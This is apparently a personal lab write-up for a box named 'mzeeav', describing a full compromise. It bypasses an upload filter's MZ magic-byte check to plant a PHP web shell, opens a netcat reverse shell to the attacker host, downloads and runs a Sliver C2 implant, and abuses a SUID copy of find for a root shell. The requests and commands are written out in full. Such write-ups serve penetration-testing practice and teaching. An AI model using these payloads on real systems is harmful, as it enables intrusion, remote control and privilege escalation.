## Recon - 22 SSH - system is running debian - 80 - MZEEAV ## 80 - MZEEAV http://192.168.188.33/ ![[Pasted image 20250425205344.png]] We get a **file upload** right away :-) And a **release date: 2022**. Googling dosen't reveal much other than writeups for this actual box - indicating that this is bespoke software. ![[Pasted image 20250425205741.png]] ### Directory Enumeration [[FFUF]] reveals the following sub-pages: ``` /upload /backup ``` Visiting `/upload` ![[Pasted image 20250425210801.png]] Indicates that we're likely on the path to something lol... Backup contains an apache file tree/directory from which we can download `backup.zip` ![[Pasted image 20250425210004.png]] ``` ╭─[λ]-[noctua.konstantinovitz.com]-[/targets/mzeeav]-[192.168.188.33] ╰─> wget http://192.168.188.33/backups/backup.zip --2025-04-25 18:57:36-- http://192.168.188.33/backups/backup.zip Connecting to 192.168.188.33:80... connected. HTTP request sent, awaiting response... 200 OK Length: 330055 (322K) [application/zip] Saving to: ‘backup.zip’ backup.zip 100%[======================================>] 322.32K 1.71MB/s in 0.2s 2025-04-25 18:57:37 (1.71 MB/s) - ‘backup.zip’ saved [330055/330055] ╭─[λ]-[noctua.konstantinovitz.com]-[/targets/mzeeav]-[192.168.188.33] ╰─> ls backup.zip mzeeav-full.nmap ╭─[λ]-[noctua.konstantinovitz.com]-[/targets/mzeeav]-[192.168.188.33] ╰─> unzip backup.zip Archive: backup.zip creating: var/www/html/ creating: var/www/html/upload/ inflating: var/www/html/upload/wget.exe inflating: var/www/html/upload/whoami.exe extracting: var/www/html/upload/index.html inflating: var/www/html/listing.php inflating: var/www/html/upload.php inflating: var/www/html/index.html ``` Contains the source code for the application. ### Examining `backup` source code - file uploads - ``` ╭─[λ]-[noctua.konstantinovitz.com]-[/targets/mzeeav]-[192.168.188.33] ╰─> touch hax.sh ╭─[λ]-[noctua.konstantinovitz.com]-[/targets/mzeeav]-[192.168.188.33] ╰─> md5sum hax.sh d41d8cd98f00b204e9800998ecf8427e hax.sh ``` If we upload `hax.sh` which has a `d41d8cd98f00b204e9800998ecf8427e` and cross reference it with `/listing.php`: ``` file.tmp - MD5: d41d8cd98f00b204e9800998ecf8427e - seems to be clean! ``` We may confirm that the file `file.tmp` is the same as `hax.sh`. Thus we are likely to find it at `/uploads/file.tmp`. If we reupload it with some actual contents, we can render it at: ``` http://192.168.188.33/upload/file.tmp ``` Question is how we can go about turning that into RCE? We do also get an `Error no valid PEFILE` when we upload through BurpSuite and view the `/upload` response. Having a look at the related section of the source code: ```php /* Check MagicBytes MZ PEFILE 4D5A*/ $F=fopen($tmp_location,"r"); $magic=fread($F,2); fclose($F); $magicbytes = strtoupper(substr(bin2hex($magic),0,4)); error_log(print_r("Magicbytes:" . $magicbytes, TRUE)); /* if its not a PEFILE block it - str_contains onlz php 8*/ //if ( ! (str_contains($magicbytes, '4D5A'))) { if ( strpos($magicbytes, '4D5A') === false ) { echo "Error no valid PEFILE\n"; error_log(print_r("No valid PEFILE", TRUE)); error_log(print_r("MagicBytes:" . $magicbytes, TRUE)); exit (); } rename($tmp_location, $location); ``` Can't seem to get that byte manually working by just pasting it into my payload. So let's go download one of the pre-existing PE files: ``` wget http://192.168.188.33/upload/wget.exe ``` And we'll go ahead and upload that: ``` POST /upload.php HTTP/1.1 Host: 192.168.188.33 Content-Length: 308939 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykuc07eEO33UktV31 Accept: */* Origin: http://192.168.188.33 Referer: http://192.168.188.33/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Connection: keep-alive ------WebKitFormBoundarykuc07eEO33UktV31 Content-Disposition: form-data; name="file"; filename="wget.exe" Content-Type: application/x-ms-dos-executable MZÿÿ¸@𺴠Í!¸LÍ!This program cannot be run in DOS mode. $brV&b&b&b]~(bI}'b¥~>bI}½bE@6/bD}/b&b¶b AGcRich&bPELïÙÕ?à °0¾ À @Ð À ÈUPX0€àUPX1°°@àUPX2À ´@À $Info: This file is packed with the UPX executable packer http://upx.tsx.org $ $Id: UPX 1.07 Copyright (C) 1996-2001 the UPX Team. All Rights Reserved. $ UPX!  D_»èÉ՘ +®ð &—ÿÿÿÿSV‹t$ WŠ„Òt ``` Now this returns status 200 and I think we get to keep the filename :-) Let's re-upload it as `wget2.exe`: ``` POST /upload.php HTTP/1.1 Host: 192.168.188.33 Content-Length: 308940 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykuc07eEO33UktV31 Accept: */* Origin: http://192.168.188.33 Referer: http://192.168.188.33/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Connection: keep-alive ------WebKitFormBoundarykuc07eEO33UktV31 Content-Disposition: form-data; name="file"; filename="wget2.exe" Content-Type: application/x-ms-dos-executable MZÿÿ¸@𺴠Í!¸LÍ!This program cannot be run in DOS mode. $brV&b&b&b]~(bI}'b¥~>bI}½bE@6/bD}/b&b¶b AGcRich&bPELïÙÕ?à °0¾ À @Ð À ÈUPX0€àUPX1°°@àUPX2À ´@À $Info: This file is packed with the UPX executable packer http://upx.tsx.org $ ``` We can now list it under it's actual name rather than `file.tmp`.... Question is whether we can turn that into execution somehow? ``` Content-Disposition: form-data; name="file"; filename="wget2.php" ``` Successfully uploads lists too :-) Final question, how can we keep byte validity whilst also making it valid PHP code? From the [php docs](https://www.php.net/manual/en/function.fread.php): **fread**([resource](https://www.php.net/manual/en/language.types.resource.php) `$stream`, [int](https://www.php.net/manual/en/language.types.integer.php) `$length`): [string](https://www.php.net/manual/en/language.types.string.php)|[false](https://www.php.net/manual/en/language.types.singleton.php) ``` fread() reads up to `length` bytes from the file pointer referenced by `stream`. Reading stops as soon as one of the following conditions is met: - `length` bytes have been read - EOF (end of file) is reached - a packet becomes available or the [socket timeout](https://www.php.net/manual/en/function.socket-set-timeout.php) occurs (for network streams) - if the stream is read buffered and it does not represent a plain file, at most one read of up to a number of bytes equal to the chunk size (usually 8192) is made; depending on the previously buffered data, the size of the returned data may be larger than the chunk size. ``` So this means that the source code likely just reads the first two bytes of whatever input? ``` ------WebKitFormBoundarykuc07eEO33UktV31 Content-Disposition: form-data; name="file"; filename="wget2.php" Content-Type: application/x-ms-dos-executable MZ ------WebKitFormBoundarykuc07eEO33UktV31-- ``` Is kinda the minimally viable payload here :-) So if we do: ``` POST /upload.php HTTP/1.1 Host: 192.168.188.33 Content-Length: 232 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykuc07eEO33UktV31 Accept: */* Origin: http://192.168.188.33 Referer: http://192.168.188.33/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Connection: keep-alive ------WebKitFormBoundarykuc07eEO33UktV31 Content-Disposition: form-data; name="file"; filename="hax.php" Content-Type: application/x-ms-dos-executable MZ <?php if (isset($_GET['cmd'])) { echo "<pre>" . shell_exec($_GET['cmd']) . "</pre>"; } ------WebKitFormBoundarykuc07eEO33UktV31-- ``` And invoke: http://192.168.188.33/upload/hax.php?cmd=whoami We achieve RCE <3 Let's leverage that for a full shell shall we? ``` # startup reverse shell listener ╭─[λ]-[noctua.konstantinovitz.com]-[/targets/mzeeav]-[192.168.188.33] ╰─> rlwrap nc -lnvp 4444 # execute payload curl http://192.168.188.33/upload/hax.php?cmd=nc%20192.168.45.231%204444%20-e%20%2Fbin%2Fbash ``` And yatzi. Let's gucci up the shell a little: ```sh python3 -c 'import pty;pty.spawn("/bin/bash")' ``` And get the user flag: ``` ifconfig ens192: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 inet 192.168.188.33 netmask 255.255.255.0 broadcast 192.168.188.255 ether 00:50:56:9e:62:0a txqueuelen 1000 (Ethernet) RX packets 203666 bytes 28636688 (27.3 MiB) RX errors 0 dropped 346 overruns 0 frame 0 TX packets 199783 bytes 69335631 (66.1 MiB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536 inet 127.0.0.1 netmask 255.0.0.0 loop txqueuelen 1000 (Local Loopback) RX packets 936 bytes 75268 (73.5 KiB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 936 bytes 75268 (73.5 KiB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 www-data@mzeeav:/home/avuser$ cat locat local.txt cat local.txt ce796e9ece5611237ab6cdd7b2d9cee6 ``` Done in bout an hour. ## Privesc Okay let's improve the access resilience and UX a little with a sliver c2 payload: ``` # at my local sliver client sliver > generate --os linux --http 192.168.45.231 --skip-symbols --name mzeeav # on the remote target wget http://192.168.45.231:443/mzeeav --2025-04-25 15:58:15-- http://192.168.45.231:443/mzeeav Connecting to 192.168.45.231:443... connected. HTTP request sent, awaiting response... 200 OK Length: 10555392 (10M) [application/octet-stream] Saving to: ‘mzeeav’ mzeeav 100%[===================>] 10.07M 10.1MB/s in 1.0s 2025-04-25 15:58:16 (10.1 MB/s) - ‘mzeeav’ saved [10555392/10555392] www-data@mzeeav:/tmp$ ls ls ls mzeeav www-data@mzeeav:/tmp$ chmod chmod +x ./mzeeav chmod +x ./mzeeav www-data@mzeeav:/tmp$ ./mzee./mzeeav & ./mzeeav & [1] 1188 ``` Noice, we now got access redundancy <3 - users & groups - current user: `www-data` - `avuser` - can access `$HOME` as `www-data` user? - `sudo -l`? nada - [[SUID Binaries]] - `sudo`? - Proces? - nothing interesting?? - [[PSPY - Process Monitoring]] reveals nothing either... - Internal ports? - none new - interesting files? - check `avuser` - nada I'm at a slight loss here lol.... Went through [[SUID Binaries]] again: ``` www-data@mzeeav:/$ find / -perm -4000 -type f 2>/dev/null | grep -v 'snap' /opt/fileS /usr/lib/dbus-1.0/dbus-daemon-launch-helper /usr/lib/openssh/ssh-keysign /usr/bin/chsh /usr/bin/chfn /usr/bin/fusermount /usr/bin/newgrp /usr/bin/umount /usr/bin/passwd /usr/bin/su /usr/bin/gpasswd /usr/bin/mount /usr/bin/sudo www-data@mzeeav:/$ ls -l /opt/fileS ---s--s--x 1 root root 311008 Nov 14 2023 /opt/fileS ``` So `/opt/fileS` is an oddity, it being installed in `/opt` means that it's likely custom, and it's owned by root. ``` /opt/fileS www-data@mzeeav:/$ /opt/fileS --help Usage: /opt/fileS [-H] [-L] [-P] [-Olevel] [-D debugopts] [path...] [expression] ... Please see also the documentation at http://www.gnu.org/software/findutils/. ... ``` We can run the binary too :)) ``` www-data@mzeeav:/$ /opt/fileS /root /root /root/proof.txt /root/email2.txt /root/.bashrc /root/.local /root/.local/share /root/.local/share/nano /root/.bash_history /root/.profile ``` Turns out that this is a modified/renamed version of the `find` command which we can... [find on gtfobins](https://gtfobins.github.io/gtfobins/find/). ```sh www-data@mzeeav:/$ /opt/fileS /root -exec whoami \; -quit root ``` Sooo close man. ``` www-data@mzeeav:/$ /opt/fileS /root -exec /tmp/mzeeav \; -quit [*] Session 7a4f49a1 mzeeav - 192.168.188.33:49090 (mzeeav) - linux/amd64 - Fri, 25 Apr 2025 21:59:07 UTC ``` Let's go man: ``` www-data@mzeeav:/$ /opt/fileS /root -exec /bin/sh -p \; -quit # whoami root # cd /root # ls email2.txt proof.txt # ifconfig ens192: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 inet 192.168.188.33 netmask 255.255.255.0 broadcast 192.168.188.255 ether 00:50:56:9e:62:0a txqueuelen 1000 (Ethernet) RX packets 269074 bytes 48299488 (46.0 MiB) RX errors 0 dropped 699 overruns 0 frame 0 TX packets 268079 bytes 87732132 (83.6 MiB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536 inet 127.0.0.1 netmask 255.0.0.0 loop txqueuelen 1000 (Local Loopback) RX packets 936 bytes 75268 (73.5 KiB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 936 bytes 75268 (73.5 KiB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 # cat proof.txt 54db51de97f2b0b82e468da6fd815824 ``` ## Lessons - Do not just trust linpeas [[SUID Binaries]] highlighting.